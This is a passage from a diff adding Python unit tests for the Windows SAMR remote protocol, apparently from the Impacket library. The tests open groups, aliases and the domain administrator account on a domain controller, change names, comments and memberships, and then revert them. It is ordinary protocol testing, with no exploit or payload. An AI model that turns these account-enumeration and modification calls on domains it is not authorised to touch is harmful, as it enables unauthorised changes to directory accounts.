+
+        try:
+            resp0 = samr.hSamrOpenGroup(dce, domainHandle, samr.GROUP_ALL_ACCESS, samr.DOMAIN_GROUP_RID_USERS)
+            resp0.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
+                raise
+
+        resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'], samr.GROUP_INFORMATION_CLASS.GroupGeneralInformation)
+        resp.dump()
+        ################################################################################ 
+
+        resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'], samr.GROUP_INFORMATION_CLASS.GroupNameInformation)
+        resp.dump()
+        oldData = resp['Buffer']['Name']['Name']
+
+        req = samr.SAMPR_GROUP_INFO_BUFFER()
+        req['tag'] = samr.GROUP_INFORMATION_CLASS.GroupNameInformation
+        req['Name']['Name'] = self.test_string
+        resp = samr.hSamrSetInformationGroup(dce, resp0['GroupHandle'], req)
+        resp.dump()
+
+        resp = samr.hSamrQueryInformationGroup(dce, resp0['GroupHandle'],samr.GROUP_INFORMATION_CLASS.GroupNameInformation)
+        resp.dump()
+        self.assertEqual(self.test_string, resp['Buffer']['Name']['Name'])
+
+        req['Name']['Name'] = oldData
+        resp = samr.hSamrSetInformationGroup(dce, resp0['GroupHandle'], req)
+        resp.dump()
+
+    def test_hSamrQueryInformationAlias_hSamrSetInformationAlias(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        resp4 = samr.hSamrEnumerateAliasesInDomain(dce, domainHandle)
+        resp4.dump()
+
+        resp0 = samr.hSamrOpenAlias(dce, domainHandle, aliasId=resp4['Buffer']['Buffer'][0]['RelativeId'])
+        resp0.dump()
+
+        resp = samr.hSamrQueryInformationAlias(dce, resp0['AliasHandle'], samr.ALIAS_INFORMATION_CLASS.AliasGeneralInformation)
+        resp.dump()
+
+        ################################################################################ 
+        resp = samr.hSamrQueryInformationAlias(dce, resp0['AliasHandle'], samr.ALIAS_INFORMATION_CLASS.AliasNameInformation)
+        resp.dump()
+        oldData = resp['Buffer']['Name']['Name']
+
+        req = samr.SAMPR_ALIAS_INFO_BUFFER()
+        req['tag'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation
+        req['Name']['Name'] = self.test_string
+        resp = samr.hSamrSetInformationAlias(dce, resp0['AliasHandle'], req)
+        resp.dump()
+
+        resp = samr.hSamrQueryInformationAlias(dce, resp0['AliasHandle'], samr.ALIAS_INFORMATION_CLASS.AliasNameInformation)
+        resp.dump()
+
+        self.assertEqual(self.test_string, resp['Buffer']['Name']['Name'])
+
+        req['Name']['Name'] = oldData
+        resp = samr.hSamrSetInformationAlias(dce, resp0['AliasHandle'], req)
+        resp.dump()
+
+    def test_SamrQueryInformationAlias_SamrSetInformationAlias(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrEnumerateAliasesInDomain()
+        request['DomainHandle'] = domainHandle
+        request['EnumerationContext'] = 0
+        request['PreferedMaximumLength'] = 500
+        status = nt_errors.STATUS_MORE_ENTRIES
+        while status == nt_errors.STATUS_MORE_ENTRIES:
+            try:
+                resp4 = dce.request(request)
+            except samr.DCERPCSessionError as e:
+                if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                    raise 
+                resp4 = e.get_packet()
+            resp4['Buffer'].dump()
+            request['EnumerationContext'] = resp4['EnumerationContext'] 
+            status = resp4['ErrorCode']
+
+        resp4.dump()
+        request = samr.SamrOpenAlias()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['AliasId'] = resp4['Buffer']['Buffer'][0]['RelativeId']
+        resp0 = dce.request(request)
+        resp0.dump()
+
+        request = samr.SamrQueryInformationAlias()
+        request['AliasHandle'] = resp0['AliasHandle']
+        request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasGeneralInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        ################################################################################ 
+        request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation
+        resp = dce.request(request)
+        resp.dump()
+        oldData = resp['Buffer']['Name']['Name']
+
+        req = samr.SamrSetInformationAlias()
+        req['AliasHandle'] = resp0['AliasHandle']
+        req['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation
+        req['Buffer']['tag'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation
+        req['Buffer']['Name']['Name'] = self.test_string
+        resp = dce.request(req)
+        resp.dump()
+
+        request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasNameInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(self.test_string, resp['Buffer']['Name']['Name'])
+
+        req['Buffer']['Name']['Name'] = oldData
+        resp = dce.request(req)
+        resp.dump()
+
+        ################################################################################
+        request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation
+        resp = dce.request(request)
+        resp.dump()
+        oldData = resp['Buffer']['AdminComment']['AdminComment']
+
+        req = samr.SamrSetInformationAlias()
+        req['AliasHandle'] = resp0['AliasHandle']
+        req['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation
+        req['Buffer']['tag'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation
+        req['Buffer']['AdminComment']['AdminComment'] = self.test_string
+        resp = dce.request(req)
+        resp.dump()
+
+        request['AliasInformationClass'] = samr.ALIAS_INFORMATION_CLASS.AliasAdminCommentInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(self.test_string, resp['Buffer']['AdminComment']['AdminComment'])
+
+        req['Buffer']['AdminComment']['AdminComment'] = oldData
+        resp = dce.request(req)
+        resp.dump()
+
+    def test_SamrQueryInformationUser2_SamrSetInformationUser2(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrOpenUser()
+        request['DomainHandle'] = domainHandle
+        #request['DesiredAccess'] =  samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_ALL_ACCESS | samr.USER_READ | samr.USER_READ_LOGON 
+        request['DesiredAccess'] = \
+            samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_WRITE_PREFERENCES | samr.USER_READ_LOGON \
+            | samr.USER_READ_ACCOUNT | samr.USER_WRITE_ACCOUNT | samr.USER_CHANGE_PASSWORD | samr.USER_FORCE_PASSWORD_CHANGE  \
+            | samr.USER_LIST_GROUPS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION | samr.USER_ALL_ACCESS  \
+            | samr.USER_READ | samr.USER_WRITE | samr.USER_EXECUTE
+
+        # Get the user handle for the domain admin user
+        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
+        resp = dce.request(request)
+        resp.dump()
+
+        request = samr.SamrQueryInformationUser2()
+        request['UserHandle'] = resp['UserHandle']
+        userHandle = resp['UserHandle'] 
+        request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserGeneralInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        # Set a new user comment and revert it back
+        request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation
+        resp = dce.request(request)
+        resp.dump()
+        oldData = resp['Buffer']['Preferences']['UserComment']
+
+        set_request = samr.SamrSetInformationUser2()
+        set_request['UserHandle'] = userHandle
+        set_request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation
+        set_request['Buffer'] = resp['Buffer']
+        set_request['Buffer']['Preferences']['UserComment'] = self.test_string
+        resp = dce.request(set_request)
+        resp.dump()
+
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(self.test_string, resp['Buffer']['Preferences']['UserComment'])
+
+        set_request['Buffer']['Preferences']['UserComment'] = oldData
+        resp = dce.request(set_request)
+        resp.dump()
+
+        # Get different user info classes
+        for user_info_class in [samr.USER_INFORMATION_CLASS.UserLogonInformation,
+                                samr.USER_INFORMATION_CLASS.UserLogonHoursInformation,
+                                samr.USER_INFORMATION_CLASS.UserAccountInformation,
+                                ]:
+            request['UserInformationClass'] = user_info_class
+            resp = dce.request(request)
+            resp.dump()
+
+        # Set a new full name and revert it back
+        request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserNameInformation
+        resp = dce.request(request)
+        resp.dump()
+        oldData = resp['Buffer']['Name']['FullName']
+
+        set_request = samr.SamrSetInformationUser2()
+        set_request['UserHandle'] = userHandle
+        set_request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserNameInformation
+        set_request['Buffer'] = resp['Buffer']
+        set_request['Buffer']['Name']['FullName'] = self.full_name_string
+        resp = dce.request(set_request)
+        resp.dump()
+
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(self.full_name_string, resp['Buffer']['Name']['FullName'])
+
+        set_request['Buffer']['Name']['FullName'] = oldData
+        resp = dce.request(set_request)
+        resp.dump()
+
+        # Set a new username and revert it back
+        request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountNameInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        oldData = resp['Buffer']['AccountName']['UserName']
+
+        req = samr.SamrSetInformationUser2()
+        req['UserHandle'] = userHandle
+        req['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserAccountNameInformation
+        req['Buffer'] = resp['Buffer'] 
+        req['Buffer']['AccountName']['UserName'] = self.test_string
+        resp = dce.request(req)
+        resp.dump()
+
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(self.test_string, resp['Buffer']['AccountName']['UserName'])
+
+        req['Buffer']['AccountName']['UserName'] = oldData
+        resp = dce.request(req)
+        resp.dump()
+
+        # Get different user info classes
+        for user_info_class in [samr.USER_INFORMATION_CLASS.UserFullNameInformation,
+                                samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation,
+                                samr.USER_INFORMATION_CLASS.UserHomeInformation,
+                                samr.USER_INFORMATION_CLASS.UserScriptInformation,
+                                samr.USER_INFORMATION_CLASS.UserProfileInformation,
+                                samr.USER_INFORMATION_CLASS.UserAdminCommentInformation,
+                                samr.USER_INFORMATION_CLASS.UserWorkStationsInformation,
+                                samr.USER_INFORMATION_CLASS.UserControlInformation,
+                                samr.USER_INFORMATION_CLASS.UserExpiresInformation,
+                                samr.USER_INFORMATION_CLASS.UserParametersInformation,
+                                samr.USER_INFORMATION_CLASS.UserAllInformation,
+                                ]:
+            request['UserInformationClass'] = user_info_class
+            resp = dce.request(request)
+            resp.dump()
+
+        # Get different user info classes that are internal
+        for internal_user_info_class in [samr.USER_INFORMATION_CLASS.UserInternal1Information,
+                                         samr.USER_INFORMATION_CLASS.UserInternal4Information,
+                                         samr.USER_INFORMATION_CLASS.UserInternal5Information,
+                                         samr.USER_INFORMATION_CLASS.UserInternal4InformationNew,
+                                         samr.USER_INFORMATION_CLASS.UserInternal5InformationNew
+                                         ]:
+            request['UserInformationClass'] = internal_user_info_class
+            with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_INVALID_INFO_CLASS"):
+                dce.request(request)
+
+    def test_hSamrQueryInformationUser2_hSamrSetInformationUser2(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        # Get the user handle for the domain admin user
+        desiredAccess = \
+            samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_WRITE_PREFERENCES | samr.USER_READ_LOGON \
+            | samr.USER_READ_ACCOUNT | samr.USER_WRITE_ACCOUNT | samr.USER_CHANGE_PASSWORD | samr.USER_FORCE_PASSWORD_CHANGE  \
+            | samr.USER_LIST_GROUPS | samr.USER_READ_GROUP_INFORMATION | samr.USER_WRITE_GROUP_INFORMATION | samr.USER_ALL_ACCESS  \
+            | samr.USER_READ | samr.USER_WRITE | samr.USER_EXECUTE
+        resp = samr.hSamrOpenUser(dce, domainHandle, desiredAccess, samr.DOMAIN_USER_RID_ADMIN )
+        resp.dump()
+        userHandle = resp['UserHandle']
+
+        resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserGeneralInformation)
+        resp.dump()
+
+        # Set a new user comment and revert it back
+        resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserPreferencesInformation)
+        resp.dump()
+        oldData = resp['Buffer']['Preferences']['UserComment']
+
+        resp['Buffer']['Preferences']['UserComment'] = self.test_string
+        resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])
+        resp.dump()
+
+        resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserPreferencesInformation)
+        resp.dump()
+
+        self.assertEqual(self.test_string, resp['Buffer']['Preferences']['UserComment'])
+
+        resp['Buffer']['Preferences']['UserComment'] = oldData
+        resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])
+        resp.dump()
+
+        # Get different user info classes
+        for user_info_class in [samr.USER_INFORMATION_CLASS.UserLogonInformation,
+                                samr.USER_INFORMATION_CLASS.UserLogonHoursInformation,
+                                samr.USER_INFORMATION_CLASS.UserAccountInformation,
+                                ]:
+            samr.hSamrQueryInformationUser2(dce, userHandle, user_info_class)
+
+        # Set a new full name and revert it back
+        resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserNameInformation)
+        resp.dump()
+        oldData = resp['Buffer']['Name']['FullName']
+
+        resp['Buffer']['Name']['FullName'] = self.full_name_string
+        resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])
+        resp.dump()
+
+        resp = samr.hSamrQueryInformationUser2(dce, userHandle,samr.USER_INFORMATION_CLASS.UserNameInformation)
+        resp.dump()
+
+        self.assertEqual(self.full_name_string, resp['Buffer']['Name']['FullName'])
+
+        resp['Buffer']['Name']['FullName'] = oldData
+        resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])
+        resp.dump()
+
+        # Set a new username and revert it back
+        resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserAccountNameInformation)
+        resp.dump()
+
+        oldData = resp['Buffer']['AccountName']['UserName']
+
+        resp['Buffer']['AccountName']['UserName'] = self.test_string
+        resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])
+        resp.dump()
+
+        resp = samr.hSamrQueryInformationUser2(dce, userHandle, samr.USER_INFORMATION_CLASS.UserAccountNameInformation)
+        resp.dump()
+
+        self.assertEqual(self.test_string, resp['Buffer']['AccountName']['UserName'])
+
+        resp['Buffer']['AccountName']['UserName'] = oldData
+        resp = samr.hSamrSetInformationUser2(dce, userHandle, resp['Buffer'])
+        resp.dump()
+
+        # Get different user info classes
+        for user_info_class in [samr.USER_INFORMATION_CLASS.UserFullNameInformation,
+                                samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation,
+                                samr.USER_INFORMATION_CLASS.UserHomeInformation,
+                                samr.USER_INFORMATION_CLASS.UserScriptInformation,
+                                samr.USER_INFORMATION_CLASS.UserProfileInformation,
+                                samr.USER_INFORMATION_CLASS.UserAdminCommentInformation,
+                                samr.USER_INFORMATION_CLASS.UserWorkStationsInformation,
+                                samr.USER_INFORMATION_CLASS.UserControlInformation,
+                                samr.USER_INFORMATION_CLASS.UserExpiresInformation,
+                                samr.USER_INFORMATION_CLASS.UserParametersInformation,
+                                samr.USER_INFORMATION_CLASS.UserAllInformation,
+                                ]:
+            samr.hSamrQueryInformationUser2(dce, userHandle, user_info_class)
+
+        # Get different user info classes that are internal
+        for internal_user_info_class in [samr.USER_INFORMATION_CLASS.UserInternal1Information,
+                                         samr.USER_INFORMATION_CLASS.UserInternal4Information,
+                                         samr.USER_INFORMATION_CLASS.UserInternal5Information,
+                                         samr.USER_INFORMATION_CLASS.UserInternal4InformationNew,
+                                         samr.USER_INFORMATION_CLASS.UserInternal5InformationNew
+                                         ]:
+            with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_INVALID_INFO_CLASS"):
+                samr.hSamrQueryInformationUser2(dce, userHandle, internal_user_info_class)
+
+    def test_SamrQueryInformationUser_SamrSetInformationUser(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+
+        # Get the user handle for the domain admin user
+        request = samr.SamrOpenUser()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = samr.USER_READ_GENERAL | samr.USER_READ_PREFERENCES | samr.USER_READ_ACCOUNT | samr.USER_ALL_ACCESS | samr.USER_READ
+        request['UserId'] = samr.DOMAIN_USER_RID_ADMIN
+        resp = dce.request(request)
+        resp.dump()
+
+        request = samr.SamrQueryInformationUser()
+        request['UserHandle'] = resp['UserHandle']
+        userHandle = resp['UserHandle']
+
+        request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserGeneralInformation
+        resp = dce.request(request)
+        resp.dump()
+
+        # Set a new user comment and revert it back
+        request['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation
+        resp = dce.request(request)
+        resp.dump()
+        oldData = resp['Buffer']['Preferences']['UserComment']
+
+        req = samr.SamrSetInformationUser()
+        req['UserHandle'] = userHandle
+        req['UserInformationClass'] = samr.USER_INFORMATION_CLASS.UserPreferencesInformation
+        req['Buffer'] = resp['Buffer'] 
+        req['Buffer']['Preferences']['UserComment'] = self.test_string
+        resp = dce.request(req)
+        resp.dump()
+
+        resp = dce.request(request)
+        resp.dump()
+
+        self.assertEqual(self.test_string, resp['Buffer']['Preferences']['UserComment'])
+
+        req['Buffer']['Preferences']['UserComment'] = oldData
+        resp = dce.request(req)
+        resp.dump()
+
+        # Get different user info classes
+        for user_info_class in [samr.USER_INFORMATION_CLASS.UserLogonInformation,
+                                samr.USER_INFORMATION_CLASS.UserLogonHoursInformation,
+                                samr.USER_INFORMATION_CLASS.UserAccountInformation,
+                                samr.USER_INFORMATION_CLASS.UserNameInformation,
+                                samr.USER_INFORMATION_CLASS.UserAccountNameInformation,
+
+                                samr.USER_INFORMATION_CLASS.UserFullNameInformation,
+                                samr.USER_INFORMATION_CLASS.UserPrimaryGroupInformation,
+                                samr.USER_INFORMATION_CLASS.UserHomeInformation,
+                                samr.USER_INFORMATION_CLASS.UserScriptInformation,
+                                samr.USER_INFORMATION_CLASS.UserProfileInformation,
+                                samr.USER_INFORMATION_CLASS.UserAdminCommentInformation,
+                                samr.USER_INFORMATION_CLASS.UserWorkStationsInformation,
+                                samr.USER_INFORMATION_CLASS.UserControlInformation,
+                                samr.USER_INFORMATION_CLASS.UserExpiresInformation,
+                                samr.USER_INFORMATION_CLASS.UserParametersInformation,
+                                samr.USER_INFORMATION_CLASS.UserAllInformation,
+                                ]:
+            request['UserInformationClass'] = user_info_class
+            dce.request(request)
+
+        # Get different user info classes that are internal
+        for internal_user_info_class in [samr.USER_INFORMATION_CLASS.UserInternal1Information,
+                                         samr.USER_INFORMATION_CLASS.UserInternal4Information,
+                                         samr.USER_INFORMATION_CLASS.UserInternal5Information,
+                                         samr.USER_INFORMATION_CLASS.UserInternal4InformationNew,
+                                         samr.USER_INFORMATION_CLASS.UserInternal5InformationNew
+                                         ]:
+            request['UserInformationClass'] = internal_user_info_class
+            with assertRaisesRegex(self, samr.DCERPCSessionError, "STATUS_INVALID_INFO_CLASS"):
+                dce.request(request)
+
+    def test_SamrAddMemberToGroup_SamrRemoveMemberFromGroup(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrConnect()
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['ServerName'] = self.server_name_string
+        resp = dce.request(request)
+        request = samr.SamrOpenGroup()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
+                raise
+        request = samr.SamrRemoveMemberFromGroup()
+        request['GroupHandle'] = resp['GroupHandle']
+        request['MemberId'] = samr.DOMAIN_USER_RID_ADMIN
+        try:
+            resp2 = dce.request(request)
+            resp2.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_MEMBERS_PRIMARY_GROUP') < 0:
+                raise
+        request = samr.SamrAddMemberToGroup()
+        request['GroupHandle'] = resp['GroupHandle']
+        request['MemberId'] = samr.DOMAIN_USER_RID_ADMIN
+        request['Attributes'] = samr.SE_GROUP_ENABLED_BY_DEFAULT
+        try:
+            resp2 = dce.request(request)
+            resp2.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_MEMBER_IN_GROUP') < 0:
+                raise
+
+    def test_hSamrAddMemberToGroup_hSamrRemoveMemberFromGroup(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrConnect()
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['ServerName'] = self.server_name_string
+        resp = dce.request(request)
+        request = samr.SamrOpenGroup()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
+                raise
+        try:
+            resp2 = samr.hSamrRemoveMemberFromGroup(dce, resp['GroupHandle'], samr.DOMAIN_USER_RID_ADMIN)
+            resp2.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_MEMBERS_PRIMARY_GROUP') < 0:
+                raise
+        try:
+            resp2 = samr.hSamrAddMemberToGroup(dce, resp['GroupHandle'], samr.DOMAIN_USER_RID_ADMIN, samr.SE_GROUP_ENABLED_BY_DEFAULT)
+            resp2.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_MEMBER_IN_GROUP') < 0:
+                raise
+
+    def test_SamrGetMembersInGroup(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrOpenGroup()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
+                raise
+
+        request = samr.SamrGetMembersInGroup()
+        request['GroupHandle'] = resp['GroupHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrGetMembersInGroup(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrOpenGroup()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['GroupId'] = samr.DOMAIN_GROUP_RID_USERS
+        try:
+            resp = dce.request(request)
+            resp.dump()
+        except samr.DCERPCSessionError as e:
+            if str(e).find('STATUS_NO_SUCH_DOMAIN') < 0:
+                raise
+
+        resp = samr.hSamrGetMembersInGroup(dce, resp['GroupHandle'])
+        resp.dump()
+
+    def test_SamrGetMembersInAlias(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrEnumerateAliasesInDomain()
+        request['DomainHandle'] = domainHandle
+        request['EnumerationContext'] = 0
+        request['PreferedMaximumLength'] = 500
+        status = nt_errors.STATUS_MORE_ENTRIES
+        while status == nt_errors.STATUS_MORE_ENTRIES:
+            try:
+                resp4 = dce.request(request)
+            except samr.DCERPCSessionError as e:
+                if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                    raise 
+                resp4 = e.get_packet()
+            resp4['Buffer'].dump()
+            request['EnumerationContext'] = resp4['EnumerationContext'] 
+            status = resp4['ErrorCode']
+
+        request = samr.SamrOpenAlias()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['AliasId'] = resp4['Buffer']['Buffer'][0]['RelativeId']
+        resp = dce.request(request)
+        resp.dump()
+
+        request = samr.SamrGetMembersInAlias()
+        request['AliasHandle'] = resp['AliasHandle']
+        resp = dce.request(request)
+        resp.dump()
+
+    def test_hSamrGetMembersInAlias(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrEnumerateAliasesInDomain()
+        request['DomainHandle'] = domainHandle
+        request['EnumerationContext'] = 0
+        request['PreferedMaximumLength'] = 500
+        status = nt_errors.STATUS_MORE_ENTRIES
+        while status == nt_errors.STATUS_MORE_ENTRIES:
+            try:
+                resp4 = dce.request(request)
+            except samr.DCERPCSessionError as e:
+                if str(e).find('STATUS_MORE_ENTRIES') < 0:
+                    raise 
+                resp4 = e.get_packet()
+            resp4['Buffer'].dump()
+            request['EnumerationContext'] = resp4['EnumerationContext'] 
+            status = resp4['ErrorCode']
+
+        request = samr.SamrOpenAlias()
+        request['DomainHandle'] = domainHandle
+        request['DesiredAccess'] = dtypes.MAXIMUM_ALLOWED
+        request['AliasId'] = resp4['Buffer']['Buffer'][0]['RelativeId']
+        resp = dce.request(request)
+        resp.dump()
+
+        resp = samr.hSamrGetMembersInAlias(dce, resp['AliasHandle'])
+        resp.dump()
+
+    def test_SamrAddMemberToAlias_SamrRemoveMemberFromAlias(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrCreateAliasInDomain()
+        request['DomainHandle'] = domainHandle
+        request['AccountName'] = self.test_group
+        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
+
+        resp = dce.request(request)
+        aliasHandle = resp['AliasHandle']
+        relativeId = resp['RelativeId']
+        resp.dump()
+
+        request = samr.SamrRidToSid()
+        request['ObjectHandle'] = domainHandle
+        request['Rid'] = relativeId
+        resp3 = dce.request(request)
+        resp3.dump()
+
+        # Let's extract the SID and remove the RID from one entry
+        sp = resp3['Sid'].formatCanonical()
+        domainID = '-'.join(sp.split('-')[:-1])
+        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
+
+        sid = samr.RPC_SID()
+        sid.fromCanonical(adminSID)
+
+        request = samr.SamrAddMemberToAlias()
+        request['AliasHandle'] = aliasHandle
+        request['MemberId'] = sid
+        resp2 = dce.request(request)
+        resp2.dump()
+
+        request = samr.SamrRemoveMemberFromAlias()
+        request['AliasHandle'] = aliasHandle
+        request['MemberId'] = sid
+        resp2 = dce.request(request)
+        resp2.dump()
+
+        request = samr.SamrDeleteAlias()
+        request['AliasHandle'] = aliasHandle
+        dce.request(request)
+
+    def test_hSamrAddMemberToAlias_hSamrRemoveMemberFromAlias(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        resp = samr.hSamrCreateAliasInDomain(dce, domainHandle, self.test_group,  samr.GROUP_ALL_ACCESS | samr.DELETE)
+        resp.dump()
+        aliasHandle = resp['AliasHandle']
+        relativeId = resp['RelativeId']
+        resp.dump()
+
+        request = samr.SamrRidToSid()
+        request['ObjectHandle'] = domainHandle
+        request['Rid'] = relativeId
+        resp3 = dce.request(request)
+        resp3.dump()
+
+        # Let's extract the SID and remove the RID from one entry
+        sp = resp3['Sid'].formatCanonical()
+        domainID = '-'.join(sp.split('-')[:-1])
+        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
+
+        sid = samr.RPC_SID()
+        sid.fromCanonical(adminSID)
+
+        resp2 = samr.hSamrAddMemberToAlias(dce, aliasHandle, sid)
+        resp2.dump()
+
+        resp2 = samr.hSamrRemoveMemberFromAlias(dce, aliasHandle, sid)
+        resp2.dump()
+
+        resp = samr.hSamrDeleteAlias(dce, aliasHandle)
+        resp.dump()
+
+    def test_SamrAddMultipleMembersToAlias_SamrRemoveMultipleMembersFromAliass(self):
+        dce, rpc_transport = self.connect()
+        domainHandle = self.get_domain_handle(dce)
+        request = samr.SamrCreateAliasInDomain()
+        request['DomainHandle'] = domainHandle
+        request['AccountName'] = self.test_group
+        request['DesiredAccess'] = samr.GROUP_ALL_ACCESS | samr.DELETE
+
+        resp = dce.request(request)
+        aliasHandle = resp['AliasHandle']
+        relativeId = resp['RelativeId']
+        resp.dump()
+
+        request = samr.SamrRidToSid()
+        request['ObjectHandle'] = domainHandle
+        request['Rid'] = relativeId
+        resp3 = dce.request(request)
+        resp3.dump()
+
+        # Let's extract the SID and remove the RID from one entry
+        sp = resp3['Sid'].formatCanonical()
+        domainID = '-'.join(sp.split('-')[:-1])
+        adminSID = domainID + '-%d' % samr.DOMAIN_USER_RID_ADMIN
+
+        sid = samr.RPC_SID()
+        sid.fromCanonical(adminSID)
+
+        sid = samr.RPC_SID()
+        sid.fromCanonical(adminSID)
+
+        guestSID = domainID + '-%d' % samr.DOMAIN_USER_RID_GUEST
+
+        sid1 = samr.RPC_SID()
+        sid1.fromCanonical(adminSID)
+
+        sid2 = samr.RPC_SID()
+        sid2.fromCanonical(guestSID)
+
+        si = samr.PSAMPR_SID_INFORMATION()
+        si['SidPointer'] = sid1
+
+        si2 = samr.PSAMPR_SID_INFORMATION()
+        si2['SidPointer'] = sid2
+
+        request = samr.SamrAddMultipleMembersToAlias()
+        request['AliasHandle'] = aliasHandle
+        request['MembersBuffer']['Count'] = 2
+        request['MembersBuffer']['Sids'].append(si)
+        request['MembersBuffer']['Sids'].append(si2)
+
+        resp2 = dce.request(request)
+        resp2.dump()
+
+        request = samr.SamrRemoveMultipleMembersFromAlias()
